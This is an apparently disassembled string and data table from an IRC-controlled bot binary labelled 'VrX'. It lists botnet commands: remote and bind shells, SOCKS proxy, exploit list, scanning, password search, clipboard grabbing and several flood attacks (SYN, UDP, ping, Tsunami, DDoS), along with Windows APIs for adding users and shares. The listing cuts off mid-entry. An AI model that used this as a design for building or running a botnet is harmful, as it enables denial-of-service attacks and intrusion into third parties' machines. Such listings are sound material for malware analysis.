sub_401ACD+5B20o align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o ; sub_401ACD+5B19o align 4 ; char asc_42C34C[] asc_42C34C db '-' ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 dd 3025A56h aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 ; char asc_42C3C4[] asc_42C3C4 db '-' ; DATA XREF: sub_401ACD+1C38o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 ; char aFp[] aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo align 10h ; char aFindpass[] aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo align 4 ; char aNoticeSPhoning[] aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1BC8o ; char aPhonehome[] aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o align 4 ; char aAs[] aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co align 10h ; char aAsc[] aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o ; char unk_42C444 unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 ; char aShitycrash[] aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o ; sub_401ACD+1B71o align 4 ; char aTftp[] aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co align 10h ; char aTftpserver[] aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o align 4 ; char aHttp[] aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o align 4 ; char aHttpserver[] aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo align 10h ; char aRlogin[] aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o align 4 ; char aRloginserver[] aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o align 4 ; char aCip[] aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo ; char aCurrentip[] aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o align 4 ; char aFdns[] aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o align 10h ; char aFlushdns[] aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo align 4 ; char aFarp[] aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao align 4 ; char aFlusharp[] aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o align 10h ; char aGc[] aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o align 4 ; char aGetclip[] aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo ; char asc_42C4EC[] asc_42C4EC db '-' ; DATA XREF: sub_401ACD+19BDo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 ; char Str2[] Str2 db 'off',0 ; DATA XREF: sub_401ACD+19A2o ; sub_401ACD+3C81o ... ; char aSpoof[] aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo align 10h unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 10h ; char aD_S[] aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o ; sub_40B477+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+1902o ; char aWho[] aWho db 'who',0 ; DATA XREF: sub_401ACD+18E5o dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401ACD+18D5o align 4 ; char aCmdstop[] aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo ; char aOcmd[] aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o align 4 ; char aOpencmd[] aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o ; char aDll[] aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do ; char aTestdlls[] aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o align 4 ; char aDrv[] aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o ; char aDriveinfo[] aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo align 4 ; char aUp[] aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o align 10h ; char aUptime[] aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o align 4 ; char aPs[] aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo align 4 ; char aProcs[] aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo align 4 ; char aKosomaky4d[] aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o ; sub_401ACD+17D5o align 10h ; char aSi[] aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo align 4 ; char aSysinfo[] aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o ; char aNi[] aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o align 10h ; char aNetinfo[] aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co ; char aClg[] aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o ; char aClearlog[] aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o align 4 ; char aLg[] aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do align 4 ; char aLog[] aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o ; char aAl[] aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o align 4 ; char aAliases[] aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo ; char aT[] aT: ; DATA XREF: sub_401ACD+16D9o ; .data:00438778o ... unicode 0, <t>,0 ; char aThreads[] aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 ; char unk_42C64C unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o a81VrxRebooting db '8,1-VrX- Rebooting system.',0 ; char aR3start[] aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o ; char aI[] aI: ; DATA XREF: sub_401ACD+165Do ; .data:00438784o ... unicode 0, <i>,0 ; char aId[] aId db 'id',0 ; DATA XREF: sub_401ACD+1648o align 4 ; char aS_5[] aS_5: ; DATA XREF: sub_401ACD+1633o ; .data:00438790o ... unicode 0, <s>,0 ; char aStatus[] aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo align 4 ; char aQ[] aQ: ; DATA XREF: sub_401ACD+1609o ; .data:off_438768o ... unicode 0, <q>,0 ; char aQuit_0[] aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o align 10h ; char aDc[] aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo align 4 ; char aDisconnect[] aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo align 10h ; char aR[] aR: ; DATA XREF: sub_401ACD+15B5o ; sub_401ACD+3D8Eo ... unicode 0, <r>,0 ; char aReconnect[] aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o align 10h ; char aExplist[] aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo ; char aExploitlist[] aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o ; char aCbstats[] aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o ; char aConnectbacksta[] aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co align 10h ; char aTrstats[] aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o ; char aTransferstats[] aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o align 4 ; char aStats[] aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do align 10h ; char aScanstats[] aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o align 4 dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo aScan db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o align 10h ; char aScanstop[] aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo align 4 dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo align 4 ; char aSecurestop[] aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o align 10h dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o align 4 ; char aClonestop[] aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do align 4 ; char aPsstop[] aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o align 4 ; char aProcsstop[] aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o align 4 ; char aFfstop[] aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo align 10h ; char aFindfilestop[] aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o align 10h dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo ; char aTftpstop[] aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o align 4 ; char aPingstop[] aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o align 4 ; char aUdpstop[] aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo ; char aWisdomstop[] aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o align 4 ; char aTsunamistop[] aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o ; sub_401ACD+13A3o aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401ACD+1302o ; sub_401ACD+139Eo align 4 dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o ; sub_401ACD+137Ao aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401ACD+12E4o ; sub_401ACD+1375o align 4 dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o ; sub_401ACD+13F5o aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401ACD+1284o ; sub_401ACD+13F0o align 4 dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo ; sub_401ACD+13CCo aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401ACD+1266o ; sub_401ACD+13C7o align 4 ; char aPacketstop[] aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o align 4 dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo ; sub_401ACD+12C8o aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401ACD+11F6o ; sub_401ACD+12C3o align 10h ; char aWonkstop[] aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo align 4 dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o ; sub_401ACD+12AAo aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401ACD+11CDo ; sub_401ACD+12A5o align 4 ; char aTarga3stop[] aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o align 4 dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o ; sub_401ACD+1328o aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401ACD+11A4o ; sub_401ACD+1323o align 4 ; char aSkysynstop[] aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo align 4 dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o ; sub_401ACD+124Ao aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401ACD+117Bo ; sub_401ACD+1245o align 4 ; char aSynstop[] aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o ; sub_401ACD+122Co aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401ACD+1152o ; sub_401ACD+1227o align 4 ; char aDdos_stop[] aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401ACD+1139o align 4 dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401ACD+1129o align 4 ; char aRedirectstop[] aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o align 4 dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o aLogList db 'Log list',0 ; DATA XREF: sub_401ACD+1100o align 10h ; char aLogstop[] aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo ; char aHttpstop[] aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo align 4 dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o ; char aRloginstop[] aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o align 10h dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao ; char aSocks4stop[] aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co align 4 ; char aS4[] aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o align 10h ; char aSocks4[] aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o align 4 dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1037o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o ; sub_401ACD+1085o ... align 4 ; char aBindshellstop[] aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o align 4 ; char aBd[] aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o align 4 ; char aBindshell[] aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo align 4 ; char aUnsec[] aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo align 4 ; char aUnsecure[] aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o align 4 ; char aSec[] aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o ; sub_401ACD+2D26o ; char aSecure[] aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo ; sub_401ACD+2D15o align 4 ; char aSt[] aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o align 4 ; char aSpeedtest[] aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o align 4 ; char aRz[] aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co align 4 ; char aRulez[] aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o align 10h ; char aVer[] aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o ; char aVersion[] aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do ; char aLo[] aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o align 10h ; char aLogout[] aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o align 4 ; char aDi3[] aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o ; sub_401ACD+EDEo ; char aRn[] aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o align 10h ; char aRndnick_0[] aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co ; char a63[] a63 db '63',0 ; DATA XREF: sub_401ACD+D69o align 4 ; char asc_42CAAC[] asc_42CAAC: ; DATA XREF: sub_401ACD+D41o unicode 0, <)>,0 ; char aChr[] aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o align 4 ; char aServer[] aServer db '$server',0 ; DATA XREF: sub_401ACD+CF9o ; char aRndnick[] aRndnick db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o align 4 ; char aChan[] aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo align 4 ; char aUser[] aUser db '$user',0 ; DATA XREF: sub_401ACD+CBBo align 4 ; char aMe[] aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o ; char aD_0[] aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo ; char aD[] aD db '$%d-',0 ; DATA XREF: sub_401ACD+B77o align 4 ; char aK[] aK: ; DATA XREF: sub_401ACD+A9Fo ; sub_401ACD+3DBCo ... unicode 0, <k>,0 ; char aC[] aC: ; DATA XREF: sub_401ACD+A87o ; sub_401ACD+4AA4o ... unicode 0, <c>,0 unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 10h ; char asc_42CB90[] asc_42CB90 db '-' ; DATA XREF: sub_401ACD+9D3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h ; char aChat[] aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co align 4 ; char asc_42CBB8[] asc_42CBB8 db '-' ; DATA XREF: sub_401ACD+91Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+8F3o dd 0A0Dh ; char dword_42CC50 dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8B4o dd 0D017325h, 0Ah ; char dword_42CC74 dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o ; char asc_42CC80[] asc_42CC80 db '#',0 ; DATA XREF: sub_401ACD+7FAo ; sub_40CD43+1Bo align 4 ; char asc_42CC84[] asc_42CC84 db '-' ; DATA XREF: sub_401ACD+769o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 ; char aS_6[] aS_6 db '%s',0 ; DATA XREF: sub_401ACD+6EAo ; sub_401ACD+979o ... align 4 ; char aSend[] aSend db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o align 10h ; char dword_42CCC0 dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o ; char a332[] a332 db '332',0 ; DATA XREF: sub_401ACD+62Fo ; sub_401ACD+AC1o ... ; char aNotice[] aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do ; sub_409869+Fo align 4 ; char aPrivmsg[] aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o ; sub_409869+16o ; char unk_42CCDC unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 ; char a353[] a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo ; char aQuit[] aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o ; sub_40F3AA+5C6o align 4 ; char aPart[] aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o ; sub_401ACD+5CDo align 10h ; char aSS_1[] aSS_1 db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo align 4 ; char aNick[] aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo align 10h ; char aNoticeSS[] aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+5F1o ; char unk_42CD50 unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2E79o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 10h ; char aKick[] aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 ; char aNickS[] aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7A88o ... align 4 ; char a433[] a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_417B76:loc_417BDEo ; char a[] a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 ; char a302_0[] a302_0 db '302',0 ; DATA XREF: sub_401ACD+22Ao ; char a005[] a005 db '005',0 ; DATA XREF: sub_401ACD+215o ; char a001[] a001 db '001',0 ; DATA XREF: sub_401ACD+200o ; char aJoinSS[] aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3BBo ... align 4 ; char aPongS[] aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 ; char aPing[] aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_417B76+50o align 4 ; char Delim[] Delim: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7B9Do unicode 0, <!>,0 ; char asc_42CDC0[] asc_42CDC0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E41o ... unicode 0, < >,0 ; char SubStr[] SubStr db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_4025E6o align 4 ; char aSSS_1[] aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo ; sub_418AF1+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o ; sub_418AF1+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409909+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409909+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: 